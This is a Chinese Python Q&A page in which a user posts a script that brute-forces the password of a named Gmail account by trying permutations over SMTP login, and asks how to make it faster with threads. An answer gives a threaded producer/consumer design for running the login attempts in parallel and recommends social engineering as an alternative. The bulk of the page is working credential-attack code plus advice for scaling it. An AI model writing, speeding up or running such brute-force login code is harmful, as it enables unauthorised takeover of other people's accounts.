如何使用线程使这个函数更快?

2024-10-02 00:33:41 发布

您现在位置:Python中文网/ 问答频道 /正文

我花了很多时间为gmail制作这个暴力破解程序:

import smtplib
from itertools import permutations
import string
import time
import os
from datetime import datetime
allC=["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
num=1
allP=len(allC)**num
sumt=0
procent=0
while True:
   for i in permutations(allC, num):
      try :
          i="".join(i)
          server = smtplib.SMTP('smtp.gmail.com',587) 
          server.ehlo()
          server.starttls()
          server.ehlo()
          server.login('raslav.milutinovic@gmail.com',i)
          print str(datetime.now())
          print i
          break
          server.close()     
      except Exception,e:
          if 'Errno 11001' in e:
               input()
          pass
    sumt=sumt+1.00001
    procent=sumt/allP*100
    print "Level :",num
    print "Procent :",int(procent)



   num=num+1
   procent=0
   sumt=0
   allP=len(allC)**num

注意:缩进可能不正确 但速度很慢=每小时5000次

我如何使用线程来测试多于一次的et? 我也不会用这个来作恶。。。。 只是一个简单的学习项目


Tags: infromimportdatetimelenservernumgmail
2条回答

创建一个用置换填充列表的生成器线程,以及从列表中获取值并对其进行测试的多个其他线程:

from time import sleep
from threading import Thread
queue = []
done = False
num_consumers = 10

def generate():
    #the generator - fill queue with values and set a flag when done
    global queue, done
    for val in permutations(allc, num):
        if len(queue) > 100:
            sleep(0.5)
            continue
        queue.append(val)
    done = True

def consume():
    #the consumer - get a value from the queue and try to login
    global queue, done
    while queue or not done:
        if len(queue) == 0:
            sleep(0.05)
            continue
        try_login(queue.pop())

#create a generator and multiple consumer threads with the respective fcts
generator = Thread(target=generate)
consumers = [Thread(target=consume) for _ in range(num_consumers)]
#start the consumers and the generator
[c.start() for c in consumers]
generator.start()

这不是一个完整的方法-例如,queue.pop()可能应该包装在try语句中,因为列表仍然可以是空的,尽管检查线程是否在if之后而在{}之前切换,您还需要优化睡眠值和消费者数量等。但最重要的是,它不会让你在黑客gmail上走得太远-这应该是相当不可能的暴力,因为他们部署了验证码,ip禁令和其他美好的东西后,太多次失败的尝试。你最好的方法是社会工程:)

这是Python线程的优点之一。在

每当网络代码被阻塞时,其他线程就开始运行。已经有文章介绍了如何以类似的方式将urllib与线程一起使用。在

相关问题 更多 >

    热门问题